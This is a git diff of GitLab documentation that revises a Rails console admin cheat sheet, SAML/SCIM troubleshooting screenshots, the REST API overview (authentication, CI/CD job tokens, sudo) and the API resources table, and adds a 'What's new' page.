index 69eb639a8db..6b1cf2d1194 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -215,8 +215,8 @@ project = Project.find_by_full_path('group-changeme/project-changeme')
### Destroy a project
```ruby
-project = Project.find_by_full_path('')
-user = User.find_by_username('')
+project = Project.find_by_full_path('<project_path>')
+user = User.find_by_username('<username>')
ProjectDestroyWorker.perform_async(project.id, user.id, {})
# or ProjectDestroyWorker.new.perform(project.id, user.id, {})
# or Projects::DestroyService.new(project, user).execute
@@ -225,8 +225,8 @@ ProjectDestroyWorker.perform_async(project.id, user.id, {})
### Remove fork relationship manually
```ruby
-p = Project.find_by_full_path('')
-u = User.find_by_username('')
+p = Project.find_by_full_path('<project_path>')
+u = User.find_by_username('<username>')
::Projects::UnlinkForkService.new(p, u).execute
```
@@ -243,13 +243,13 @@ project.update!(repository_read_only: true)
### Transfer project from one namespace to another
```ruby
- p= Project.find_by_full_path('')
+ p= Project.find_by_full_path('<project_path>')
# To set the owner of the project
current_user= p.creator
# Namespace where you want this to be moved.
-namespace = Namespace.find_by_full_path("")
+namespace = Namespace.find_by_full_path("<new_namespace>")
::Projects::TransferService.new(p, current_user).execute(namespace)
```
@@ -468,7 +468,7 @@ end
### Skip reconfirmation
```ruby
-user = User.find_by_username ''
+user = User.find_by_username '<username>'
user.skip_reconfirmation!
```
@@ -558,7 +558,7 @@ user.max_member_access_for_group group.id
```ruby
user = User.find_by_username('<username>')
group = Group.find_by_name("<group_name>")
-parent_group = Group.find_by(id: "") # empty string amounts to root as parent
+parent_group = Group.find_by(id: "<group_id>")
service = ::Groups::TransferService.new(group, user)
service.execute(parent_group)
```
@@ -679,7 +679,7 @@ conflicting_permanent_redirects.destroy_all
```ruby
p = Project.find_by_full_path('<full/path/to/project>')
m = p.merge_requests.find_by(iid: <iid>)
-u = User.find_by_username('')
+u = User.find_by_username('<username>')
MergeRequests::PostMergeService.new(p, u).execute(m)
```
@@ -695,9 +695,9 @@ Issuable::DestroyService.new(m.project, u).execute(m)
### Rebase manually
```ruby
-p = Project.find_by_full_path('')
+p = Project.find_by_full_path('<project_path>')
m = project.merge_requests.find_by(iid: )
-u = User.find_by_username('')
+u = User.find_by_username('<username>')
MergeRequests::RebaseService.new(m.target_project, u).execute(m)
```
@@ -734,7 +734,7 @@ build.dependencies.each do |d| { puts "status: #{d.status}, finished at: #{d.fin
### Try CI service
```ruby
-p = Project.find_by_full_path('')
+p = Project.find_by_full_path('<project_path>')
m = project.merge_requests.find_by(iid: )
m.project.try(:ci_service)
```
@@ -762,6 +762,21 @@ end
Gitlab::CurrentSettings.current_application_settings.runners_registration_token
```
+### Run pipeline schedules manually
+
+You can run pipeline schedules manually through the Rails console to reveal any errors that are usually not visible.
+
+```ruby
+# schedule_id can be obtained from Edit Pipeline Schedule page
+schedule = Ci::PipelineSchedule.find_by(id: <schedule_id>)
+
+# Select the user that you want to run the schedule for
+user = User.find_by_username('<username>')
+
+# Run the schedule
+ps = Ci::CreatePipelineService.new(schedule.project, user, ref: schedule.ref).execute!(:schedule, ignore_skip_ci: true, save_on_errors: false, schedule: schedule)
+```
+
## License
### See current license information
diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md
index f0d44a578ff..63e69589b54 100644
--- a/doc/administration/troubleshooting/group_saml_scim.md
+++ b/doc/administration/troubleshooting/group_saml_scim.md
@@ -7,7 +7,7 @@ type: reference
# Troubleshooting Group SAML and SCIM **(PREMIUM SAAS)**
-These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team’s collected knowledge.
+These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team's collected knowledge.
Please refer to the GitLab [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up.
@@ -20,6 +20,7 @@ They may then set up a test configuration of the desired identity provider. We i
This section includes relevant screenshots of the following example configurations of [Group SAML](../../user/group/saml_sso/index.md) and [Group SCIM](../../user/group/saml_sso/scim_setup.md):
- [Azure Active Directory](#azure-active-directory)
+- [Okta](#okta)
- [OneLogin](#onelogin)
WARNING:
@@ -59,6 +60,14 @@ IdP Links and Certificate:
![Okta Links and Certificate](img/Okta-linkscert.png)
+Sign on settings:
+
+![Okta SAML settings](img/okta_saml_settings.png)
+
+Self-managed instance example:
+
+![Okta admin panel view](img/okta_admin_panel_v13_9.png)
+
## OneLogin
Application details:
@@ -76,23 +85,3 @@ Adding a user:
SSO settings:
![OneLogin SSO settings](img/OneLogin-SSOsettings.png)
-
-## ADFS
-
-Setup SAML SSO URL:
-
-![ADFS Setup SAML SSO URL](img/ADFS-saml-setup-sso-url.png)
-
-Configure Assertions:
-
-![ADFS Configure Assertions](img/ADFS-configure-assertions.png)
-
-Configure NameID:
-
-![ADFS ADFS-configure-NameID](img/ADFS-configure-NameID.png)
-
-Determine Certificate Fingerprint:
-
-| Via UI | Via Shell |
-|--------|-----------|
-| ![ADFS Determine Token Signing Certificate Fingerprint](img/ADFS-determine-token-signing-certificate-fingerprint.png) | ![ADFS Determine Token Signing Fingerprint From Shell](img/ADFS-determine-token-signing-fingerprint-from-shell.png) |
diff --git a/doc/administration/troubleshooting/img/ADFS-configure-NameID.png b/doc/administration/troubleshooting/img/ADFS-configure-NameID.png
deleted file mode 100644
index d45e189b3ab..00000000000
--- a/doc/administration/troubleshooting/img/ADFS-configure-NameID.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/troubleshooting/img/ADFS-configure-assertions.png b/doc/administration/troubleshooting/img/ADFS-configure-assertions.png
deleted file mode 100644
index 53c26ad0be1..00000000000
--- a/doc/administration/troubleshooting/img/ADFS-configure-assertions.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png b/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png
deleted file mode 100644
index e24c994e996..00000000000
--- a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png b/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png
deleted file mode 100644
index 431141dd3ef..00000000000
--- a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png b/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png
deleted file mode 100644
index a837f1b19cc..00000000000
--- a/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/auth/img/okta_admin_panel_v13_9.png b/doc/administration/troubleshooting/img/okta_admin_panel_v13_9.png
index 2ebb1f0112c..2ebb1f0112c 100644
--- a/doc/administration/auth/img/okta_admin_panel_v13_9.png
+++ b/doc/administration/troubleshooting/img/okta_admin_panel_v13_9.png
Binary files differ
diff --git a/doc/administration/auth/img/okta_saml_settings.png b/doc/administration/troubleshooting/img/okta_saml_settings.png
index ee275ece369..ee275ece369 100644
--- a/doc/administration/auth/img/okta_saml_settings.png
+++ b/doc/administration/troubleshooting/img/okta_saml_settings.png
Binary files differ
diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md
index 63b056df8b7..1c205cc987a 100644
--- a/doc/administration/troubleshooting/index.md
+++ b/doc/administration/troubleshooting/index.md
@@ -6,11 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Troubleshooting a GitLab installation
-Below are some resources to help you troubleshoot a GitLab installation
-in case something goes wrong:
+This page documents a collection of resources to help you troubleshoot a GitLab
+installation.
-- [Debugging tips](debug.md)
-- [Diagnostics tools](diagnostics_tools.md)
+## Troubleshooting guides
+
+- [SSL](ssl.md)
+- [Geo](../geo/replication/troubleshooting.md)
- [Elasticsearch](elasticsearch.md)
- [GitLab Rails console cheat sheet](gitlab_rails_cheat_sheet.md)
- [Group SAML and SCIM troubleshooting](group_saml_scim.md) **(PREMIUM SAAS)**
@@ -18,9 +20,9 @@ in case something goes wrong:
- [Linux cheat sheet](linux_cheat_sheet.md)
- [Parsing GitLab logs with `jq`](log_parsing.md)
- [Navigating GitLab via Rails console](navigating_gitlab_via_rails_console.md)
-- [PostgreSQL](postgresql.md)
-- [Sidekiq](sidekiq.md)
-- [SSL](ssl.md)
+- [Diagnostics tools](diagnostics_tools.md)
+- [Debugging tips](debug.md)
+- [Tracing requests with correlation ID](tracing_correlation_id.md)
If you need a testing environment to troubleshoot, see the
[apps for a testing environment](test_environments.md).
diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md
index 4ccae10e5b3..9565b7594d6 100644
--- a/doc/administration/troubleshooting/postgresql.md
+++ b/doc/administration/troubleshooting/postgresql.md
@@ -35,7 +35,7 @@ This section is for links to information elsewhere in the GitLab documentation.
- Storing data in another location.
- Destructively reseeding the GitLab database.
- Guidance around updating packaged PostgreSQL, including how to stop it
- happening automatically.
+ from happening automatically.
- [Information about external PostgreSQL](../postgresql/external.md).
@@ -87,11 +87,11 @@ This section is for links to information elsewhere in the GitLab documentation.
```plaintext
ERROR: replication slots can only be used if max_replication_slots > 0
- FATAL: could not start WAL streaming: ERROR: replication slot “geo_secondary_my_domain_com†does not exist
+ FATAL: could not start WAL streaming: ERROR: replication slot "geo_secondary_my_domain_com" does not exist
Command exceeded allowed execution time
- PANIC: could not write to file ‘pg_xlog/xlogtemp.123’: No space left on device
+ PANIC: could not write to file 'pg_xlog/xlogtemp.123': No space left on device
```
- [Checking Geo configuration](../geo/replication/troubleshooting.md), including:
diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md
index 147bf1123ad..8d19a8a163b 100644
--- a/doc/administration/troubleshooting/sidekiq.md
+++ b/doc/administration/troubleshooting/sidekiq.md
@@ -347,7 +347,7 @@ Gitlab::SidekiqDaemon::Monitor.cancel_job('job-id')
> environment variable.
To perform of the interrupt we use `Thread.raise` which
-has number of drawbacks, as mentioned in [Why Ruby’s Timeout is dangerous (and Thread.raise is terrifying)](https://jvns.ca/blog/2015/11/27/why-rubys-timeout-is-dangerous-and-thread-dot-raise-is-terrifying/):
+has number of drawbacks, as mentioned in [Why Ruby's Timeout is dangerous (and Thread.raise is terrifying)](https://jvns.ca/blog/2015/11/27/why-rubys-timeout-is-dangerous-and-thread-dot-raise-is-terrifying/):
> This is where the implications get interesting, and terrifying. This means that an exception can get raised:
>
@@ -357,4 +357,4 @@ has number of drawbacks, as mentioned in [Why Ruby’s Timeout is dangerous (and
> - while creating an object to save to the database afterwards
> - in any of your code, regardless of whether it could have possibly raised an exception before
>
-> Nobody writes code to defend against an exception being raised on literally any line. That’s not even possible. So Thread.raise is basically like a sneak attack on your code that could result in almost anything. It would probably be okay if it were pure-functional code that did not modify any state. But this is Ruby, so that’s unlikely :)
+> Nobody writes code to defend against an exception being raised on literally any line. That's not even possible. So Thread.raise is basically like a sneak attack on your code that could result in almost anything. It would probably be okay if it were pure-functional code that did not modify any state. But this is Ruby, so that's unlikely :)
diff --git a/doc/administration/whats-new.md b/doc/administration/whats-new.md
new file mode 100644
index 00000000000..4cbb0b854ae
--- /dev/null
+++ b/doc/administration/whats-new.md
@@ -0,0 +1,29 @@
+---
+stage: Growth
+group: Adoption
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# What's new **(FREE)**
+
+With each monthly release, GitLab includes some of the highlights from the last 10
+GitLab versions in the **What's new** feature. To access it:
+
+1. In the top navigation bar, select the **{question}** icon.
+1. Select **What's new** from the menu.
+
+The **What's new** describes new features available in multiple
+[GitLab tiers](https://about.gitlab.com/pricing). While all users can see the
+feature list, the feature list is tailored to your subscription type:
+
+- Features only available to self-managed installations are not shown on GitLab.com.
+- Features only available on GitLab.com are not shown to self-managed installations.
+
+The **What's new** feature cannot be disabled, but
+[is planned](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59011) for a future release.
+
+## Self-managed installations
+
+Due to our release post process, the content for **What's new** is not yet finalized
+when a new version (`.0` release) is cut. The updated **What's new** is included
+in the first patch release, such as `13.10.1`.
diff --git a/doc/administration/wikis/index.md b/doc/administration/wikis/index.md
index 57bbe913216..bf6ff457ad3 100644
--- a/doc/administration/wikis/index.md
+++ b/doc/administration/wikis/index.md
@@ -73,3 +73,9 @@ You can also use the API to [retrieve the current value](../../api/settings.md#g
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings"
```
+
+## Related topics
+
+- [User documentation for wikis](../../user/project/wiki/index.md)
+- [Project wikis API](../../api/wikis.md)
+- [Group wikis API](../../api/group_wikis.md)
diff --git a/doc/api/README.md b/doc/api/README.md
index 35eeb5ae99b..1a914fb1dbe 100644
--- a/doc/api/README.md
+++ b/doc/api/README.md
@@ -6,14 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# API Docs
-Automate GitLab by using a simple and powerful API.
+Use the GitLab [REST](http://spec.openapis.org/oas/v3.0.3) API to automate GitLab.
-The main GitLab API is a [REST](http://spec.openapis.org/oas/v3.0.3)
-API. Because of this, the documentation in this section assumes that you're
-familiar with REST concepts.
-
-There's also a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml),
-which allows you to test the API directly from the GitLab user interface.
+You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml),
+to test the API directly from the GitLab user interface.
Contributions are welcome.
## Available API resources
@@ -31,52 +27,54 @@ GitLab provides an [SCIM API](scim.md) that both implements
[the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) and provides the
`/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_path/Users/`.
-## Road to GraphQL
-
-[GraphQL](graphql/index.md) is available in GitLab, which allows for the
-deprecation of controller-specific endpoints.
+## GraphQL API
-GraphQL has several benefits, including:
+A [GraphQL](graphql/index.md) API is available in GitLab.
-- We avoid having to maintain two different APIs.
-- Callers of the API can request only what they need.
-- It's versioned by default.
+With GraphQL, you can make an API request for only what you need,
+and it's versioned by default.
GraphQL co-exists with the current v4 REST API. If we have a v5 API, this should
be a compatibility layer on top of GraphQL.
-Although there were some patenting and licensing concerns with GraphQL, these
-have been resolved to our satisfaction by the relicensing of the reference
-implementations under MIT, and the use of the OWF license for the GraphQL
-specification.
+There were some patenting and licensing concerns with GraphQL. However, these
+have been resolved to our satisfaction. The reference implementations
+were re-licensed under MIT, and the OWF license used for the GraphQL specification.
+
+When GraphQL is fully implemented, GitLab:
+
+- Can delete controller-specific endpoints.
+- Will no longer maintain two different APIs.
## Compatibility guidelines
-The HTTP API is versioned using a single number, (currently _4_). This number
+The HTTP API is versioned with a single number, which is currently `4`. This number
symbolizes the major version number, as described by [SemVer](https://semver.org/).
-Because of this, backwards-incompatible changes require this version number to
-change. However, the minor version isn't explicit, allowing for a stable API
-endpoint. This also means that new features can be added to the API in the same
+Because of this, backward-incompatible changes require this version number to
+change.
+
+The minor version isn't explicit, which allows for a stable API
+endpoint. New features can be added to the API in the same
version number.
-New features and bug fixes are released in tandem with a new GitLab, and apart
-from incidental patch and security releases, are released on the 22nd of each
-month. Backward incompatible changes (for example, endpoints removal and
-parameters removal), and removal of entire API versions are done in tandem with
-a major point release of GitLab itself. All deprecations and changes between two
-versions should be listed in the documentation. For the changes between v3 and
-v4, see the [v3 to v4 documentation](v3_to_v4.md).
+New features and bug fixes are released in tandem with GitLab. Apart
+from incidental patch and security releases, GitLab is released on the 22nd of each
+month. Backward-incompatible changes (for example, endpoint and parameter removal),
+and removal of entire API versions are done in tandem with major GitLab releases.
+
+All deprecations and changes between versions are in the documentation.
+For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md).
### Current status
Only API version v4 is available. Version v3 was removed in
[GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36819).
-## Basic usage
+## How to use the API
-API requests should be prefixed with both `api` and the API version. The API
+API requests must include both `api` and the API version. The API
version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/api/api.rb).
-For example, the root of the v4 API is at `/api/v4`. The following sections illustrate different uses:
+For example, the root of the v4 API is at `/api/v4`.
### Valid API request
@@ -87,7 +85,7 @@ curl "https://gitlab.example.com/api/v4/projects"
```
The API uses JSON to serialize data. You don't need to specify `.json` at the
-end of an API URL.
+end of the API URL.
### API request to expose HTTP response headers
@@ -99,7 +97,7 @@ HTTP/2 200
...
```
-This can help you investigate an unexpected response.
+This request can help you investigate an unexpected response.
### API request that includes the exit code
@@ -110,34 +108,34 @@ curl --fail "https://gitlab.example.com/api/v4/does-not-exist"
curl: (22) The requested URL returned error: 404
```
-The HTTP exit code can help you diagnose the success or failure of your REST call.
+The HTTP exit code can help you diagnose the success or failure of your REST request.
## Authentication
Most API requests require authentication, or only return public data when
-authentication isn't provided. For cases where it isn't required, this is
-mentioned in the documentation for each individual endpoint (for example, the
-[`/projects/:id` endpoint](projects.md#get-single-project)).
+authentication isn't provided. When authentication is not required, the documentation
+for each endpoint specifies this. For example, the
+[`/projects/:id` endpoint](projects.md#get-single-project) does not require authentication.
-There are several methods you can use to authenticate with the GitLab API:
+There are several ways you can authenticate with the GitLab API:
- [OAuth2 tokens](#oauth2-tokens)
- [Personal access tokens](../user/profile/personal_access_tokens.md)
- [Project access tokens](../user/project/settings/project_access_tokens.md)
- [Session cookie](#session-cookie)
-- [GitLab CI/CD job token](#gitlab-ci-job-token) **(Specific endpoints only)**
+- [GitLab CI/CD job token](#gitlab-cicd-job-token) **(Specific endpoints only)**
NOTE:
Project access tokens are supported for self-managed instances on Free and
higher. They're also supported on GitLab.com Bronze and higher.
-For administrators who want to authenticate with the API as a specific user, or who want
-to build applications or scripts that do so, the following options are available:
+If you are an administrator, you or your application can authenticate as a specific user.
+To do so, use:
- [Impersonation tokens](#impersonation-tokens)
- [Sudo](#sudo)
-If authentication information is invalid or omitted, GitLab returns an error
+If authentication information is not valid or is missing, GitLab returns an error
message with a status code of `401`:
```json
@@ -195,37 +193,65 @@ API uses this cookie for authentication if it's present. Using the API to
generate a new session cookie isn't supported.
The primary user of this authentication method is the web frontend of GitLab
-itself, which can, for example, use the API as the authenticated user to get a
-list of their projects without needing to explicitly pass an access token.
+itself. The web frontend can use the API as the authenticated user to get a
+list of projects without explicitly passing an access token.
-### GitLab CI job token
+### GitLab CI/CD job token
-With a few API endpoints you can use a [GitLab CI/CD job token](../user/project/new_ci_build_permissions_model.md#job-token)
-to authenticate with the API:
+When a pipeline job is about to run, GitLab generates a unique token and injects it as the
+[`CI_JOB_TOKEN` predefined variable](../ci/variables/predefined_variables.md).
+
+You can use a GitLab CI/CD job token to authenticate with specific API endpoints:
- Packages:
- - [Package Registry](../user/packages/package_registry/index.md)
+ - [Package Registry](../user/packages/package_registry/index.md). To push to the
+ Package Registry, you can use [deploy tokens](../user/project/deploy_tokens/index.md).
- [Container Registry](../user/packages/container_registry/index.md)
- (`$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`)
-- [Get job artifacts](job_artifacts.md#get-job-artifacts)
-- [Get job token's job](jobs.md#get-job-tokens-job)
-- [Pipeline triggers](pipeline_triggers.md) (using the `token=` parameter)
-- [Release creation](releases/index.md#create-a-release)
-- [Terraform plan](../user/infrastructure/index.md)
+ (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`).
+- [Get job artifacts](job_artifacts.md#get-job-artifacts).
+- [Get job token's job](jobs.md#get-job-tokens-job).
+- [Pipeline triggers](pipeline_triggers.md), using the `token=` parameter.
+- [Release creation](releases/index.md#create-a-release).
+- [Terraform plan](../user/infrastructure/index.md).
+
+The token has the same permissions to access the API as the user that triggers the
+pipeline. Therefore, this user must be assigned to [a role that has the required privileges](../user/permissions.md).
-The token is valid as long as the job is running.
+The token is valid only while the pipeline job runs. After the job finishes, you can't
+use the token anymore.
+
+A job token can access a project's resources without any configuration, but it might
+give extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559)
+to redesign the feature for more strategic control of the access permissions.
+
+#### GitLab CI/CD job token security
+
+To make sure that this token doesn't leak, GitLab:
+
+- Masks the job token in job logs.
+- Grants permissions to the job token only when the job is running.
+
+To make sure that this token doesn't leak, you should also configure
+your [runners](../ci/runners/README.md) to be secure. Avoid:
+
+- Using Docker's `privileged` mode if the machines are re-used.
+- Using the [`shell` executor](https://docs.gitlab.com/runner/executors/shell.html) when jobs
+ run on the same machine.
+
+If you have an insecure GitLab Runner configuration, you increase the risk that someone
+tries to steal tokens from other jobs.
### Impersonation tokens
-Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md)
-that can be created only by an administrator for a specific user. They can be
-useful if you want to build applications or scripts that authenticate with the
+Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md).
+They can be created only by an administrator, and are used to authenticate with the
API as a specific user.
-They're an alternative to directly using the user's password (or one of their
-personal access tokens), and to using the [Sudo](#sudo) feature, as the user's
-(or administrator's in the case of Sudo) password or token may not be known, or may
-change over time.
+Use impersonation tokens an alternative to:
+
+- The user's password or one of their personal access tokens.
+- The [Sudo](#sudo) feature. The user's or administrator's password or token
+ may not be known, or may change over time.
For more information, see the [users API](users.md#create-an-impersonation-token)
documentation.
@@ -270,7 +296,7 @@ To re-enable impersonation, remove this configuration, and then restart GitLab.
### Sudo
-All API requests support performing an API call as if you were another user,
+All API requests support performing an API request as if you were another user,
provided you're authenticated as an administrator with an OAuth or personal
access token that has the `sudo` scope. The API requests are executed with the
permissions of the impersonated user.
@@ -309,7 +335,7 @@ returned with a status code of `404`:
}
```
-Example of a valid API call and a request using cURL with sudo request,
+Example of a valid API request and a request using cURL with sudo request,
providing a username:
```plaintext
@@ -320,7 +346,7 @@ GET /projects?private_token=<your_access_token>&sudo=username
curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects"
```
-Example of a valid API call and a request using cURL with sudo request,
+Example of a valid API request and a request using cURL with sudo request,
providing an ID:
```plaintext
@@ -334,7 +360,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://
## Status codes
The API is designed to return different status codes according to context and
-action. This way, if a request results in an error, the caller is able to get
+action. This way, if a request results in an error, you can get
insight into what went wrong.
The following table gives an overview of how the API functions generally behave.
@@ -515,7 +541,7 @@ The `:id` path parameter needs to be replaced with the project ID, and the
`:group_id` needs to be replaced with the ID of the group. The colons `:`
shouldn't be included.
-The resulting cURL call for a project with ID `5` and a group ID of `17` is then:
+The resulting cURL request for a project with ID `5` and a group ID of `17` is then:
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
@@ -528,7 +554,7 @@ the URL-encoded path parameters.
## Namespaced path encoding
-If using namespaced API calls, make sure that the `NAMESPACE/PROJECT_PATH` is
+If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is
URL-encoded.
For example, `/` is represented by `%2F`:
@@ -578,7 +604,7 @@ using a payload body instead.
## Encoding API parameters of `array` and `hash` types
-We can call the API with `array` and `hash` types parameters as follows:
+You can request the API with `array` and `hash` types parameters:
### `array`
@@ -636,8 +662,8 @@ usually used instead of `id` to fetch the resource.
For example, suppose a project with `id: 42` has an issue with `id: 46` and
`iid: 5`. In this case:
-- A valid API call to retrieve the issue is `GET /projects/42/issues/5`.
-- An invalid API call to retrieve the issue is `GET /projects/42/issues/46`.
+- A valid API request to retrieve the issue is `GET /projects/42/issues/5`.
+- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`.
Not all resources with the `iid` field are fetched by `iid`. For guidance
regarding which field to use, see the documentation for the specific resource.
@@ -734,7 +760,7 @@ The correct encoding for the query parameter would be:
## Clients
There are many unofficial GitLab API Clients for most of the popular programming
-languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/#api-clients).
+languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients).
## Rate limits
diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md
index b14d28d6ec0..b0d03ebad74 100644
--- a/doc/api/api_resources.md
+++ b/doc/api/api_resources.md
@@ -4,7 +4,7 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# API resources
+# API resources **(FREE)**
Available resources for the [GitLab API](README.md) can be grouped in the following contexts:
@@ -45,13 +45,13 @@ The following API resources are available in the project context:
| [Issues](issues.md) | `/projects/:id/issues` (also available for groups and standalone) |
| [Issues Statistics](issues_statistics.md) | `/projects/:id/issues_statistics` (also available for groups and standalone) |
| [Issue boards](boards.md) | `/projects/:id/boards` |
-| [Issue links](issue_links.md) **(STARTER)** | `/projects/:id/issues/.../links` |
-| [Iterations](iterations.md) **(STARTER)** | `/projects/:id/iterations` (also available for groups) |
+| [Issue links](issue_links.md). | `/projects/:id/issues/.../links` |
+| [Iterations](iterations.md) **(PREMIUM)** | `/projects/:id/iterations` (also available for groups) |
| [Jobs](jobs.md) | `/projects/:id/jobs`, `/projects/:id/pipelines/.../jobs` |
| [Labels](labels.md) | `/projects/:id/labels` |
| [Managed licenses](managed_licenses.md) **(ULTIMATE)** | `/projects/:id/managed_licenses` |
| [Members](members.md) | `/projects/:id/members` (also available for groups) |
-| [Merge request approvals](merge_request_approvals.md) **(STARTER)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` |
+| [Merge request approvals](merge_request_approvals.md) **(PREMIUM)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` |
| [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) |
| [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` |
| [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) |
@@ -84,7 +84,7 @@ The following API resources are available in the project context:
| [Services](services.md) | `/projects/:id/services` |
| [Tags](tags.md) | `/projects/:id/repository/tags` |
| [User-starred metrics dashboards](metrics_user_starred_dashboards.md ) | `/projects/:id/metrics/user_starred_dashboards` |
-| [Visual Review discussions](visual_review_discussions.md) **(STARTER)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` |
+| [Visual Review discussions](visual_review_discussions.md) **(PREMIUM)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` |
| [Vulnerabilities](vulnerabilities.md) **(ULTIMATE)** | `/vulnerabilities/:id` |
| [Vulnerability exports](vulnerability_exports.md) **(ULTIMATE)** | `/projects/:id/vulnerability_exports` |
| [Project vulnerabilities](project_vulnerabilities.md) **(ULTIMATE)** | `/projects/:id/vulnerabilities` |
@@ -106,7 +106,7 @@ The following API resources are available in the group context:
| [Groups](groups.md) | `/groups`, `/groups/.../subgroups` |
| [Group badges](group_badges.md) | `/groups/:id/badges` |
| [Group issue boards](group_boards.md) | `/groups/:id/boards` |
-| [Group iterations](group_iterations.md) **(STARTER)** | `/groups/:id/iterations` (also available for projects) |
+| [Group iterations](group_iterations.md) **(PREMIUM)** | `/groups/:id/iterations` (also available for projects) |
| [Group labels](group_labels.md) | `/groups/:id/labels` |
| [Group-level variables](group_level_variables.md) | `/groups/:id/variables` |
| [Group milestones](group_milestones.md) | `/groups/:id/milestones` |
@@ -140,7 +140,7 @@ The following API resources are available outside of project and group contexts
| [Events](events.md) | `/events`, `/users/:id/events` (also available for projects) |
| [Feature flags](features.md) | `/features` |
| [Geo Nodes](geo_nodes.md) **(PREMIUM SELF)** | `/geo_nodes` |
-| [Group Activity Analytics](group_activity_analytics.md) **(STARTER)** | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` |
+| [Group Activity Analytics](group_activity_analytics.md) | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` |
| [Group repository storage moves](group_repository_storage_moves.md) **(PREMIUM SELF)** | `/group_repository_storage_moves` |
| [Import repository from GitHub](import.md) | `/import/github` |
| [Instance clusters](instance_clusters.md) | `/admin/clusters` |
@@ -167,7 +167,8 @@ The following API resources are available outside of project and group contexts
| [Sidekiq metrics](sidekiq_metrics.md) **(FREE SELF)** | `/sidekiq` |
| [Suggestions](suggestions.md) | `/suggestions` |
| [System hooks](system_hooks.md) | `/hooks` |
-| [To-dos](todos.md) | `/todos` |
+| [To-dos](todos.md) | `/todos` |
+| [Usage data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) |
| [Users](users.md) | `/users` |
| [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` |
| [Version](version.md) | `/version` |
diff --git a/doc/api/applications.md b/doc/api/applications.md
index 19a80685b6f..b3741a3cb30 100644
--- a/doc/api/applications.md
+++ b/doc/api/applications.md
@@ -8,11 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8160) in GitLab 10.5.
-Applications API operates on OAuth applications for:
+The Applications API operates on instance-wide OAuth applications for:
- [Using GitLab as an authentication provider](../integration/oauth_provider.md).
- [Allowing access to GitLab resources on a user's behalf](oauth2.md).
